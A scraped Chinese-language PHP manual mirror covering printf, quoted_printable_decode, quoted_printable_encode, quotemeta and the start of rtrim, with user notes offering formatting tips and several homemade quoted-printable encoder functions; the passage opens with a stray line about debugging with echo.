It's mostly just to make sure everything is running without having to go through everything and put in echo "Step #whatever has executed" whenever something mysterious isn't working.


输出格式化字符串

  • ? print
  • quoted_printable_decode ?
  • PHP Manual
  • 字符串 函数
  • 输出格式化字符串

printf

(PHP 4, PHP 5, PHP 7)

printf — 输出格式化字符串

说明

printf ( string $format [, mixed $args [, mixed $... ]] ) : int

依据 format 格式参数产生输出。

参数

format

format 描述信息，请参见 sprintf()。

args

...

返回值

返回输出字符串的长度。

参见

  • print - 输出字符串
  • sprintf() - Return a formatted string
  • vprintf() - 输出格式化字符串
  • sscanf() - 根据指定格式解析输入的字符
  • fscanf() - 从文件中格式化输入
  • flush() - 刷新输出缓冲

User Contributed Notes

RS 12-Jul-2016 07:20
If your missing features such as "-"*100 to print a single character multiple times you can use the slightly longer and less readable PHP equivalent printf("%'-100s",""); and sprint("%'-100s","").
creating dot www at gmail dot com 18-Mar-2015 01:29
Why rounding is not same as for round()?

Try this code:

<?php
printf("%.02lf\n", 1.035);
printf("%.02lf\n", round(1.035, 2));
?>
Result:
1.03
1.04

In my opion it should be:
1.04
1.04

Why is that?
spiffytech at gmail dot com 15-Feb-2012 09:11
Be careful when relying on typecasting with printf(). For example,

    printf("%d", "17,999")

returns "17".
kalai_msc29 at rediffmail dot com 29-Mar-2007 11:04
//If you want to make many Hidden fields you can use the function
//You can pass the values as array value,This will help you, when you are going to post many hiddend fields:-
function MakeHidden($ArrValues)
    {
       global $dearvar;
       echo $dearvar;
       if(is_array($ArrValues)){
             foreach($ArrValues as $key=>$values)
              {
                 echo $MakeHTML = "<input type='hidden' name='$values' value='$values'>";
               }
      }

      else {
            echo $MakeHTML = "<input type='hidden' name='$ArrValues' value='$ArrValues'>";
         }
   return $MakeHTML;
}

//example:-

MakeHidden(array("value1","value2","value3"));

//OutPut :-

<input type="hidden" value="value1" name="value1"/>
<input type="hidden" value="value2" name="value2"/>
<input type="hidden" value="value3" name="value3"/>
php at mole dot gnubb dot net 10-Apr-2005 06:15
[Editor's Note: Or just use vprintf...]

If you want to do something like <?php printf('There is a difference between %s and %s', array('good', 'evil')); ?> (this doesn't work)  instead of <?php printf('There is a difference between %s and %s', 'good', 'evil'); ?> you can use this function:

<?php
function printf_array($format, $arr)
{
    return call_user_func_array('printf', array_merge((array)$format, $arr));
}
?>

Use it the following way:
<?php
$goodevil = array('good', 'evil');
printf_array('There is a difference between %s and %s', $goodevil);
?>
and it will print:
There is a difference between good and evil
codeslinger at compsalot dot com 30-Jan-2005 08:24
Several people have commented about problems with aligning numbers.  I just wanted to add a bit of clarification.

According to the spec all True Type Fonts (especially porpotional spaced fonts) use a fixed width for numeric digits.  All digits have the same width which is equal to the width of "0".

Where things go haywire when trying to align numbers is that the space character does not have the same width as a digit when using a porportional spaced font.

Therefore if you want to line up a column of numbers, you can not use leading spaces to position them unless you use the same quantity of space characters for each row. e.g. your numbers have leading zeros etc.

The simplest solution is to switch to a monospaced font.  Alternativly you can use positioning tags.

Summary: Your numbers will always line up properly regardless of the font used, if you get the starting position to be consistant.
lordfarquaad at notredomaine dot net 03-Mar-2004 06:48
In response to chris dot breen at accurate dot com :

This will work, but i didn't try:
<?php
$format = 'The %2$s contains %1$d monkeys.
         That is a nice %2$s full of %1$d monkeys.';
printf($format, $num, $location);
?>

Your problem came from the fact that in the string "\$s", the $ is simply escaped by the \, but but you must not do that with single quoted strings. Try to echo your strings to test it, or just go to http://www.php.net/manual/en/language.types.string.php
eugenew at starhub dot net dot sg 20-Dec-2002 09:13
If anyone is looking for writing a quine using printf(),
this is my example:

<?php $f='<?php $f=%c%s%c; printf($f,39,$f,39); ?>'; printf($f,39,$f,39); ?>

This also helps those who are new to printf() see one way of using the 'mixed args' part, rather than just a single argument as in most examples I've seen.
dalu at uni SPAMHAM dot de 10-Dec-2002 10:43
copypasted from msdn

A format specification, which consists of optional and required fields, has the following form:

%[flags] [width] [.precision] [{h | l | I64 | L}]type

Each field of the format specification is a single character or a number signifying a particular format option. The simplest format specification contains only the percent sign and a type character (for example, %s). If a percent sign is followed by a character that has no meaning as a format field, the character is copied to stdout. For example, to print a percent-sign character, use %%.

The optional fields, which appear before the type character, control other aspects of the formatting, as follows:

type
Required character that determines whether the associated argument is interpreted as a character, a string, or a number (see the printf Type Field Characters table.
flags
Optional character or characters that control justification of output and printing of signs, blanks, decimal points, and octal and hexadecimal prefixes (see the Flag Characters table). More than one flag can appear in a format specification.
width
Optional number that specifies the minimum number of characters output (see printf Width Specification).
precision
Optional number that specifies the maximum number of characters printed for all or part of the output field, or the minimum number of digits printed for integer values (see the How Precision Values Affect Type table).
h | l | I64 | L
Optional prefixes to type-that specify the size of argument (see the Size Prefixes for printf and wprintf Format-Type Specifiers table).
sam[NOSPAM] at [NOSPAM]kingdomfaith dot com 28-Jun-2002 12:45
I don't know if this is useful to anyone, but here goes! Example for using the printf function to output an object.

class person
{
    var $name = "";
    function name($newname = NULL)
    {
        if(! is_null($newname))
        {
            $this->name=$newname;
        }
        return $this->name;
    }
    var $surname = "";
    function surname($newsurname = NULL)
    {
        if(! is_null($newsurname))
        {
            $this->surname=$newsurname;
        }
        return $this->surname;
    }
    var $age = "";
    function age($newage = NULL)
    {
        if(! is_null($newage))
        {
            $this->age=$newage;
        }
        return $this->age;
    }
}

$bob = new person;
$bob->name('Bob');
$bob->surname('Builder');
$bob->age('50');

printf("Hi %s, your surname is %s and you are %s years old", $bob->name, $bob->surname, $bob->age);

Outputs:

Hi Bob, your surname is Builder and you are 50 years old
maybird99 at yahoo dot com 26-Feb-2002 07:20
instead of writing a function to round off a float (let's call it 'x') accurately, it's much easier to add a small number to x and then truncate it...
For example: if you want to round off to the nearest integer, just add 0.5 to x and then truncate it. if x=12.6, then it would calculate 13.1, and truncate it to 13. If x=14.4, it would calculate 14.9 and truncate it to 14.
ezislis at mail dot ru 09-Feb-2002 07:25
be careful with integers, they cant hold large values.

printf("%d",10023123553.45634663);
will print out: 1433188961
and
printf("%.0f",10023123553.45634663);
will print out: 10023123553
deekayen at hotmail dot com 11-Oct-2001 05:54
You can use this function to format the decimal places in a number:

$num = 2.12;
printf("%.1f",$num);

prints:

2.1

see also: number_format()
shepard at ameth dot org 17-Sep-2001 07:37
Be sure that the output channel is available to write on before executing printf()!  Some functions in classes available from various sources (in my case, DB_Sql::query() in PHPLIB) assume that printing will work, even after the default output stream has been closed.

For me the issue was most notable in PHP4 session management when I was creating my own sess_write() handler.  Since I was unable to find any function that checks for the output stream that printf() uses, I just had to drop the crazy use of the printf(). (does some function already exist to check for the presence of an output stream?)
dhosek at excite dot com 05-Dec-1999 02:27
Be careful:
printf ("(9.95 * 100) = %d \n", (9.95 * 100));

'994'

First %d converts a float to an int by truncation.

Second floats are notorious for tiny little rounding errors.


将 quoted-printable 字符串转换为 8-bit 字符串

  • ? printf
  • quoted_printable_encode ?
  • PHP Manual
  • 字符串 函数
  • 将 quoted-printable 字符串转换为 8-bit 字符串

quoted_printable_decode

(PHP 4, PHP 5, PHP 7)

quoted_printable_decode — 将 quoted-printable 字符串转换为 8-bit 字符串

说明

quoted_printable_decode ( string $str ) : string

该函数返回 quoted-printable 解码之后的 8-bit 字符串 (参考 » RFC2045 的6.7章节，而不是 » RFC2821 的4.5.2章节，so additional periods are not stripped from the beginning of line)

该函数与 imap_qprint() 函数十分相似，但是该函数不需要依赖 IMAP 模块。

参数

str

输入的字符串。

返回值

返回的 8-bit 二进制字符串。

参见

  • quoted_printable_encode() - 将 8-bit 字符串转换成 quoted-printable 字符串

User Contributed Notes

yual at inbox dot ru 23-Oct-2013 08:38
I use a hack for this bug:

$str = str_replace("=\r\n", '', quoted_printable_encode($str));
if (strlen($str) > 73) {$str = substr($str,0,74)."=\n".substr($str,74);}
feedr 06-Mar-2009 02:39
Another (improved) version of quoted_printable_encode(). Please note the order of the array elements in str_replace().
I've just rewritten the previous function for better readability.

<?php
if (!function_exists("quoted_printable_encode")) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7. Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces and CRLF pairs aren't encoded though.
  */
  function quoted_printable_encode($string) {
        $string = str_replace(array('%20', '%0D%0A', '%'), array(' ', "\r\n", '='), rawurlencode($string));
        $string = preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n", $string);

        return $string;
  }
}
?>
andre at luyer dot nl 02-Nov-2008 12:36
A small update for Andrew's code below. This one leaves the original CRLF pairs intact (and allowing the preg_replace to work as intended):

<?php
if (!function_exists("quoted_printable_encode")) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7. Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces and CRLF pairs aren't encoded though.
  */
  function quoted_printable_encode($string) {
    return preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n",
      str_replace("%", "=", str_replace("%0D%0A", "\r\n",
        str_replace("%20"," ",rawurlencode($string)))));
  }
}
?>

Regards, André
Karora 19-Oct-2008 08:27
Taking a bunch of the earlier comments together, you can synthesize a nice short and reasonably efficient quoted_printable_encode function like this:

Note that I put this in my standard library file, so I wrap it in a !function_exists in order that if there is a pre-existing PHP one it will just work and this will evaluate to a noop.

<?php
if ( !function_exists("quoted_printable_encode") ) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7.  Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces aren't encoded as =20 though.
  */
  function quoted_printable_encode($string) {
    return preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n", str_replace("%","=",str_replace("%20"," ",rawurlencode($string))));
  }
}
?>

Regards,
Andrew McMillan.
zg 27-Sep-2008 06:48
<?php

function quoted_printable_encode( $str, $chunkLen = 72 )
{
    $offset = 0;

    $str = strtr(rawurlencode($str), array('%' => '='));
    $len = strlen($str);
    $enc = '';

    while ( $offset < $len )
    {
        if ( $str{ $offset + $chunkLen - 1 } === '=' )
        {
            $line = substr($str, $offset, $chunkLen - 1);
            $offset += $chunkLen - 1;
        }
        elseif ( $str{ $offset + $chunkLen - 2 } === '=' )
        {
            $line = substr($str, $offset, $chunkLen - 2);
            $offset += $chunkLen - 2;
        }
        else
        {
            $line = substr($str, $offset, $chunkLen);
            $offset += $chunkLen;
        }

        if ( $offset + $chunkLen < $len )
            $enc .= $line ."=\n";
        else
            $enc .= $line;
    }

    return $enc;
}

?>
Christian Albrecht 24-Sep-2008 03:10
In Addition to david lionhead's function:

<?php
function quoted_printable_encode($txt) {
    /* Make sure there are no %20 or similar */
    $txt = rawurldecode($txt);
    $tmp="";
    $line="";
    for ($i=0;$i<strlen($txt);$i++) {
        if (($txt[$i]>='a' && $txt[$i]<='z') || ($txt[$i]>='A' && $txt[$i]<='Z') || ($txt[$i]>='0' && $txt[$i]<='9')) {
            $line.=$txt[$i];
            if (strlen($line)>=75) {
                $tmp.="$line=\n";
                $line="";
            }
        }
        else {
            /* Important to differentiate this case from the above */
            if (strlen($line)>=72) {
            $tmp.="$line=\n";
            $line="";
            }
            $line.="=".sprintf("%02X",ord($txt[$i]));
        }
    }
    $tmp.="$line\n";
    return $tmp;
}
?>
david at lionhead dot nl 18-Aug-2008 05:54
My version of quoted_printable encode, as the convert.quoted-printable-encode filter breaks on outlook express. This one seems to work on express/outlook/thunderbird/gmail.

function quoted_printable_encode($txt) {
    $tmp="";
    $line="";
    for ($i=0;$i<strlen($txt);$i++) {
        if (($txt[$i]>='a' && $txt[$i]<='z') || ($txt[$i]>='A' && $txt[$i]<='Z') || ($txt[$i]>='0' && $txt[$i]<='9'))
            $line.=$txt[$i];
        else
            $line.="=".sprintf("%02X",ord($txt[$i]));
        if (strlen($line)>=75) {
            $tmp.="$line=\n";
            $line="";
        }
    }
    $tmp.="$line\n";
    return $tmp;
}
Bobo 12-Jul-2008 09:20
Following up to Hoffa's function, return the result like:

chunk_split($string, 76, "=\n");

to conform to the RFC, which requires that lines are no longer than 76 chars.
h atnospam hoffa dotelidot se 31-Mar-2008 05:32
I do like this to encode

function quoted_printable_encode($string) {
  $string = rawurlencode($string);
  $string = str_replace("%","=",$string);
  RETURN $string;
}

best regards / Hoffa
vita dot plachy at seznam dot cz 23-Mar-2008 08:22
<?php
$text = <<<EOF
This function enables you to convert text to a quoted-printable string as well as to create encoded-words used in email headers (see http://www.faqs.org/rfcs/rfc2047.html).

No line of returned text will be longer than specified. Encoded-words will not contain a newline character. Special characters are removed.
EOF;

define('QP_LINE_LENGTH', 75);
define('QP_LINE_SEPARATOR', "\r\n");

function quoted_printable_encode($string, $encodedWord = false)
{
    if(!preg_match('//u', $string)) {
        throw new Exception('Input string is not valid UTF-8');
    }

    static $wordStart = '=?UTF-8?Q?';
    static $wordEnd = '?=';
    static $endl = QP_LINE_SEPARATOR;

    $lineLength = $encodedWord
        ? QP_LINE_LENGTH - strlen($wordStart) - strlen($wordEnd)
        : QP_LINE_LENGTH;

    $string = $encodedWord
        ? preg_replace('~[\r\n]+~', ' ', $string)    // we need encoded word to be single line
        : preg_replace('~\r\n?~', "\n", $string);    // normalize line endings
    $string = preg_replace('~[\x00-\x08\x0B-\x1F]+~', '', $string);    // remove control characters

    $output = $encodedWord ? $wordStart : '';
    $charsLeft = $lineLength;

    $chr = isset($string{0}) ? $string{0} : null;
    $ord = ord($chr);

    for ($i = 0; isset($chr); $i++) {
        $nextChr = isset($string{$i + 1}) ? $string{$i + 1} : null;
        $nextOrd = ord($nextChr);

        if (
            $ord > 127 or    // high byte value
            $ord === 95 or    // underscore "_"
            $ord === 63 && $encodedWord or    // "?" in encoded word
            $ord === 61 or    // equal sign "="
            // space or tab in encoded word or at line end
            $ord === 32 || $ord === 9 and $encodedWord || !isset($nextOrd) || $nextOrd === 10
        ) {
            $chr = sprintf('=%02X', $ord);
        }

        if ($ord === 10) {    // line feed
            $output .= $endl;
            $charsLeft = $lineLength;
        } elseif (
            strlen($chr) < $charsLeft or
            strlen($chr) === $charsLeft and $nextOrd === 10 || $encodedWord
        ) {    // add character
            $output .= $chr;
            $charsLeft-=strlen($chr);
        } elseif (isset($nextOrd)) {    // another line needed
            $output .= $encodedWord
                ? $wordEnd . $endl . "\t" . $wordStart . $chr
                : '=' . $endl . $chr;
            $charsLeft = $lineLength - strlen($chr);
        }

        $chr = $nextChr;
        $ord = $nextOrd;
    }

    return $output . ($encodedWord ? $wordEnd : '');
}

echo quoted_printable_encode($text/*, true*/);
ludwig at gramberg-webdesign dot de 24-Sep-2007 12:13
my approach for quoted printable encode using the stream converting abilities

<?php
/**
 * @param string $str
 * @return string
 * */
function quoted_printable_encode($str) {
    $fp = fopen('php://temp', 'w+');
    stream_filter_append($fp, 'convert.quoted-printable-encode');
    fwrite($fp, $str);
    fseek($fp, 0);
    $result = '';
    while(!feof($fp))
        $result .= fread($fp, 1024);
    fclose($fp);
    return $result;
}
?>
roelof 24-Jul-2007 07:06
I modified the below version of legolas558 at users dot sausafe dot net and added a wrapping option.

<?php
/**
 *    Codeer een String naar zogenaamde 'quoted printable'. Dit type van coderen wordt
 *    gebruikt om de content van 8 bit e-mail berichten als 7 bits te versturen.
 *
 *    @access public
 *    @param string    $str    De String die we coderen
 *    @param bool      $wrap   Voeg linebreaks toe na 74 tekens?
 *    @return string
 */

function quoted_printable_encode($str, $wrap=true)
{
    $return = '';
    $iL = strlen($str);
    for($i=0; $i<$iL; $i++)
    {
        $char = $str[$i];
        if(ctype_print($char) && !ctype_punct($char)) $return .= $char;
        else $return .= sprintf('=%02X', ord($char));
    }
    return ($wrap === true)
        ? wordwrap($return, 74, " =\n")
        : $return;
}

?>
legolas558 at users dot sausafe dot net 21-Feb-2007 11:09
As soletan at toxa dot de reported, that function is very bad and does not provide valid enquoted printable strings. While using it I saw spam agents marking the emails as QP_EXCESS and sometimes the email client did not recognize the header at all; I really lost time :(. This is the new version (we use it in the Drake CMS core) that works seamlessly:

<?php

//L: note $encoding that is uppercase
//L: also your PHP installation must have ctype_alpha, otherwise write it yourself
function quoted_printable_encode($string, $encoding='UTF-8') {
// use this function with headers, not with the email body as it misses word wrapping
       $len = strlen($string);
       $result = '';
       $enc = false;
       for($i=0;$i<$len;++$i) {
        $c = $string[$i];
        if (ctype_alpha($c))
            $result.=$c;
        else if ($c==' ') {
            $result.='_';
            $enc = true;
        } else {
            $result.=sprintf("=%02X", ord($c));
            $enc = true;
        }
       }
       //L: so spam agents won't mark your email with QP_EXCESS
       if (!$enc) return $string;
       return '=?'.$encoding.'?q?'.$result.'?=';
}

I hope it helps ;)

?>
soletan at toxa dot de 20-Feb-2007 03:54
Be warned! The method below for encoding text does not work as requested by RFC1521!

Consider a line consisting of 75 'A' and a single é (or similar non-ASCII character) ... the method below would encode and return a line of 78 octets, breaking with RFC 1521, 5.1 Rule #5: "The Quoted-Printable encoding REQUIRES that encoded lines be no more than 76 characters long."

Good QP-encoding takes a bit more than this.
legolas558 12-Feb-2007 10:32
Please note that in the below encode function there is a bug!

<?php
if (($c==0x3d) || ($c>=0x80) || ($c<0x20))
?>

$c should be checked against less or equal to encode spaces!

so the correct code is

<?php
if (($c==0x3d) || ($c>=0x80) || ($c<=0x20))
?>

Fix the code or post this note, please
Thomas Pequet / Memotoo.com 19-Oct-2006 06:15
If you want a function to do the reverse of "quoted_printable_decode()", follow the link you will find the "quoted_printable_encode()" function:
http://www.memotoo.com/softs/public/PHP/quoted printable_encode.inc.php

Compatible "ENCODING=QUOTED-PRINTABLE"
Example:
quoted_printable_encode(ut8_encode("c'est quand l'été ?"))
-> "c'est quand l'=C3=A9t=C3=A9 ?"
steffen dot weber at computerbase dot de 22-Jul-2005 02:08
As the two digit hexadecimal representation SHOULD be in uppercase you want to use "=%02X" (uppercase X) instead of "=%02x" as the first argument to sprintf().
dmitry at koterov dot ru 19-Feb-2005 05:26
Previous comment has a bug: encoding of short test does not work because of incorrect usage of preg_match_all(). Have somebody read it at all? :-)

Correct version (seems), with additional imap_8bit() function emulation:

if (!function_exists('imap_8bit')) {
 function imap_8bit($text) {
   return quoted_printable_encode($text);
 }
}

function quoted_printable_encode_character ( $matches ) {
   $character = $matches[0];
   return sprintf ( '=%02x', ord ( $character ) );
}

// based on http://www.freesoft.org/CIE/RFC/1521/6.htm
function quoted_printable_encode ( $string ) {
   // rule #2, #3 (leaves space and tab characters in tact)
   $string = preg_replace_callback (
     '/[^\x21-\x3C\x3E-\x7E\x09\x20]/',
     'quoted_printable_encode_character',
     $string
   );
   $newline = "=\r\n"; // '=' + CRLF (rule #4)
   // make sure the splitting of lines does not interfere with escaped characters
   // (chunk_split fails here)
   $string = preg_replace ( '/(.{73}[^=]{0,3})/', '$1'.$newline, $string);
   return $string;
}
pob at medienrecht dot NOSPAM dot org 18-Jul-2001 01:06
If you do not have access to imap_* and do not want to use
?$message = chunk_split( base64_encode($message) );?
because you want to be able to read the ?source? of your mails, you might want to try this:
(any suggestions very welcome!)

function qp_enc($input = "quoted-printable encoding test string", $line_max = 76) {

    $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
    $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
    $eol = "\r\n";
    $escape = "=";
    $output = "";

    while( list(, $line) = each($lines) ) {
        //$line = rtrim($line); // remove trailing white space -> no =20\r\n necessary
        $linlen = strlen($line);
        $newline = "";
        for($i = 0; $i < $linlen; $i++) {
            $c = substr($line, $i, 1);
            $dec = ord($c);
            if ( ($dec == 32) && ($i == ($linlen - 1)) ) { // convert space at eol only
                $c = "=20";
            } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
                $h2 = floor($dec/16); $h1 = floor($dec%16);
                $c = $escape.$hex["$h2"].$hex["$h1"];
            }
            if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
                $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
                $newline = "";
            }
            $newline .= $c;
        } // end of for
        $output .= $newline.$eol;
    }
    return trim($output);

}

$eight_bit = "\xA7 \xC4 \xD6 \xDC \xE4 \xF6 \xFC \xDF         =          xxx             yyy       zzz          \r\n"
            ." \xA7      \r \xC4 \n \xD6 \x09    ";
print $eight_bit."\r\n---------------\r\n";
$encoded = qp_enc($eight_bit);
print $encoded;
madmax at express dot ru 03-Aug-2000 05:41
Some  browser (netscape, for example)
send 8-bit quoted printable text like this:
=C5=DD=A3=D2=C1= =DA

"= =" means continuos word.
 php function not detect this situations and translate in string like:
 abcde=f


将 8-bit 字符串转换成 quoted-printable 字符串

  • ? quoted_printable_decode
  • quotemeta ?
  • PHP Manual
  • 字符串 函数
  • 将 8-bit 字符串转换成 quoted-printable 字符串

quoted_printable_encode

(PHP 5 >= 5.3.0, PHP 7)

quoted_printable_encode — 将 8-bit 字符串转换成 quoted-printable 字符串

说明

quoted_printable_encode ( string $str ) : string

返回 quoted-printable 格式的字符，该格式由 » RFC2045 6.7.章节里制定。

该函数与 imap_8bit() 函数十分相似，不同的是该函数不需要 IMAP 模块就能运行。

参数

str

输入的字符串。

返回值

返回编码之后的字符串。

参见

  • quoted_printable_decode() - 将 quoted-printable 字符串转换为 8-bit 字符串
  • iconv_mime_encode() - Composes a MIME header field

User Contributed Notes

marcus at synchromedia dot co dot uk 13-Feb-2017 07:48
Note that this function returns the quoted-printable string with Windows / RFC822 CRLF line breaks. If you're passing the output of this function into mail(), you may need to convert its line breaks to Unix LF style first.
jurgen at edesign dot nl 02-Oct-2014 09:16
Both PHP's native implementation and the function of ericth at NOSPAM dot pennyworth dot com (below) contain an feature/error (usage for SMTP mismatch) which has been solved in my adjustment below.

The error causes a text containing period character(s), when passed through these functions, end up with encoded lines starting with a period character, the first period character on that line will be discarded when it is transported over SMTP.

Solution: add (another) leading '.' to period characters which would end up as first character on a line when encoded.

See http://stackoverflow.com/a/13949483: "This is a dirty artifact of your transport layer... SMTP is the most probable culprit (see the call for caution in the mail function documentation) but there may be other low level mecanisms that behave similarly. For example if you tweaked the sendmail_path setting or use a buggy sendmail program you may experience similar woes."

<?php
define('PHP_QPRINT_MAXL', 75);

function leading_dot_fixed_php_quot_print_encode($str)
{
    $lp = 0;
    $ret = '';
    $hex = "0123456789ABCDEF";
    $length = strlen($str);
    $str_index = 0;

    while ($length--) {
        if ((($c = $str[$str_index++]) == "\015") && ($str[$str_index] == "\012") && $length > 0) {
            $ret .= "\015";
            $ret .= $str[$str_index++];
            $length--;
            $lp = 0;
        } else {
            if (ctype_cntrl($c)
                || (ord($c) == 0x7f)
                || (ord($c) & 0x80)
                || ($c == '=')
                || (($c == ' ') && ($str[$str_index] == "\015")))
            {
                if (($lp += 3) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 3;
                }
                $ret .= '=';
                $ret .= $hex[ord($c) >> 4];
                $ret .= $hex[ord($c) & 0xf];
            }
            else
            {
                if ((++$lp) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 1;
                }
                $ret .= $c;
                if($lp == 1 && $c == '.') {
                    $ret .= '.';
                    $lp++;
                }
            }
        }
    }

    return $ret;
}

?>
ericth at NOSPAM dot pennyworth dot com 07-Oct-2011 01:46
I have re-written the PHP 5.3.8 function for quoted_printable_encode into PHP for use with PHP < 5.3.  Tested with PHP 5.2.11.

<?php
define('PHP_QPRINT_MAXL', 75);

function php_quot_print_encode($str)
{
    $lp = 0;
    $ret = '';
    $hex = "0123456789ABCDEF";
    $length = strlen($str);
    $str_index = 0;

    while ($length--) {
        if ((($c = $str[$str_index++]) == "\015") && ($str[$str_index] == "\012") && $length > 0) {
            $ret .= "\015";
            $ret .= $str[$str_index++];
            $length--;
            $lp = 0;
        } else {
            if (ctype_cntrl($c)
                || (ord($c) == 0x7f)
                || (ord($c) & 0x80)
                || ($c == '=')
                || (($c == ' ') && ($str[$str_index] == "\015")))
            {
                if (($lp += 3) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 3;
                }
                $ret .= '=';
                $ret .= $hex[ord($c) >> 4];
                $ret .= $hex[ord($c) & 0xf];
            }
            else
            {
                if ((++$lp) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 1;
                }
                $ret .= $c;
            }
        }
    }

    return $ret;
}

?>
arnaudv6 15-Aug-2011 08:56
One will like to know and clearly read that RFC2045 specifies a line shall not exceed 75 characters.
Accordingly, quoted_printable_encode() splits line at this limit.
Thorsten Glaser 24-Sep-2010 06:05
Two bugs:

1) your linebreak is wrong

                $linebreak = "\r\n";

2) continuation of lines with no whitespace is broken

                                        /*
                                         * the text after the whitespace will have to
                                         * be read again ( + any additional characters
                                         * that came into existence as a result of the
                                         * encoding process after the whitespace)
                                         *
                                         * Also, do not start at 0, if there was *no*
                                         * whitespace in the whole line
                                         */
                                        if (($i + $addtl_chars) > $whitesp_diff) {
                                                $output .= substr($cur_conv_line, 0,
                                                    (strlen($cur_conv_line) - $whitesp_diff)) .
                                                    $linebreak;
                                                $i = $i - $whitesp_diff + $addtl_chars;
                                        } else {
                                                /* emit continuation --mirabilos */
                                                $output .= $cur_conv_line .
                                                    '=' . $linebreak;
                                        }
tzangerl [dot] pdc {dot} kth dot se 09-Apr-2010 02:05
A function that QP-encodes an input string (written for PHP < 5.3) and
wordwraps it at the same time, in order to avoid classification according to the MIME QP LONG LINE rule of SpamAssassin.  Thanks for Matt Jeffers to point out errors in the below quoted_printable script!

<?php
function quoted_printable_encode($input, $line_max = 75) {
   $hex = array('0','1','2','3','4','5','6','7',
                          '8','9','A','B','C','D','E','F');
   $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
   $linebreak = "=0D=0A=\r\n";
   /* the linebreak also counts as characters in the mime_qp_long_line
    * rule of spam-assassin */
   $line_max = $line_max - strlen($linebreak);
   $escape = "=";
   $output = "";
   $cur_conv_line = "";
   $length = 0;
   $whitespace_pos = 0;
   $addtl_chars = 0;

   // iterate lines
   for ($j=0; $j<count($lines); $j++) {
     $line = $lines[$j];
     $linlen = strlen($line);

     // iterate chars
     for ($i = 0; $i < $linlen; $i++) {
       $c = substr($line, $i, 1);
       $dec = ord($c);

       $length++;

       if ($dec == 32) {
          // space occurring at end of line, need to encode
          if (($i == ($linlen - 1))) {
             $c = "=20";
             $length += 2;
          }

          $addtl_chars = 0;
          $whitespace_pos = $i;
       } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) {
          $h2 = floor($dec/16); $h1 = floor($dec%16);
          $c = $escape . $hex["$h2"] . $hex["$h1"];
          $length += 2;
          $addtl_chars += 2;
       }

       // length for wordwrap exceeded, get a newline into the text
       if ($length >= $line_max) {
         $cur_conv_line .= $c;

         // read only up to the whitespace for the current line
         $whitesp_diff = $i - $whitespace_pos + $addtl_chars;

        /* the text after the whitespace will have to be read
         * again ( + any additional characters that came into
         * existence as a result of the encoding process after the whitespace)
         *
         * Also, do not start at 0, if there was *no* whitespace in
         * the whole line */
         if (($i + $addtl_chars) > $whitesp_diff) {
            $output .= substr($cur_conv_line, 0, (strlen($cur_conv_line) -
                           $whitesp_diff)) . $linebreak;
            $i =  $i - $whitesp_diff + $addtl_chars;
          } else {
            $output .= $cur_conv_line . $linebreak;
          }

        $cur_conv_line = "";
        $length = 0;
        $whitespace_pos = 0;
      } else {
        // length for wordwrap not reached, continue reading
        $cur_conv_line .= $c;
      }
    } // end of for

    $length = 0;
    $whitespace_pos = 0;
    $output .= $cur_conv_line;
    $cur_conv_line = "";

    if ($j<=count($lines)-1) {
      $output .= $linebreak;
    }
  } // end for

  return trim($output);
} // end quoted_printable_encode
?>


转义元字符集

  • ? quoted_printable_encode
  • rtrim ?
  • PHP Manual
  • 字符串 函数
  • 转义元字符集

quotemeta

(PHP 4, PHP 5, PHP 7)

quotemeta — 转义元字符集

说明

quotemeta ( string $str ) : string

返回 在下面这些特殊字符前加 反斜线(\) 转义后的字符串。 这些特殊字符包含：

. \ + * ? [ ^ ] ( $ )

参数

str

输入字符串

返回值

返回 元字符集被转义后的 字符串，如果输入字符串str为空， 则返回 FALSE。

注释

Note: 此函数可安全用于二进制对象。

参见

  • addslashes() - 使用反斜线引用字符串
  • addcslashes() - 以 C 语言风格使用反斜线转义字符串中的字符
  • htmlentities() - 将字符转换为 HTML 转义字符
  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • nl2br() - 在字符串所有新行之前插入 HTML 换行标记
  • stripslashes() - 反引用一个引用字符串
  • stripcslashes() - 反引用一个使用 addcslashes 转义的字符串
  • ereg() - 正则表达式匹配
  • preg_quote() - 转义正则表达式字符

User Contributed Notes

kumarkulandai at gmail dot com 26-Oct-2009 11:29
<?php
$str = "Hello world. (can you hear me?)";
echo quotemeta($str);
?>

The output of the code above will be:
Hello world\. \(can you hear me\?\)
George Adams 16-Feb-2006 08:57
Took me a while to realize this was NOT the command I wanted for escaping potentially harmful characters in a string that would be used as part of a system command.  Instead, I needed either escapeshellarg() (http://www.php.net/manual/en/function.escapeshellarg.php) or escapeshellcmd() (http://www.php.net/manual/en/function.escapeshellcmd.php)
15-May-2001 03:41
This function escapes characters that have special meaning in regular expressions.  preg_quote() <http://php.net/manual/en/function.preg-quote.php> has similar functionality, but is more powerful since it escapes more characters (including one user-specified character).


删除字符串末端的空白字符（或者其他字符）

  • ? quotemeta
  • setlocale ?
  • PHP Manual
  • 字符串 函数
  • 删除字符串末端的空白字符（或者其他字符）

rtrim

(PHP 4, PHP 5, PHP 7)

rtrim — 删除字符串末端的空白字符（或者其他字符）

说明

rtrim ( string $str [, string $character_mask ] ) : string

该函数删除 str 末端的空白字符（或者其他字符）并返回。

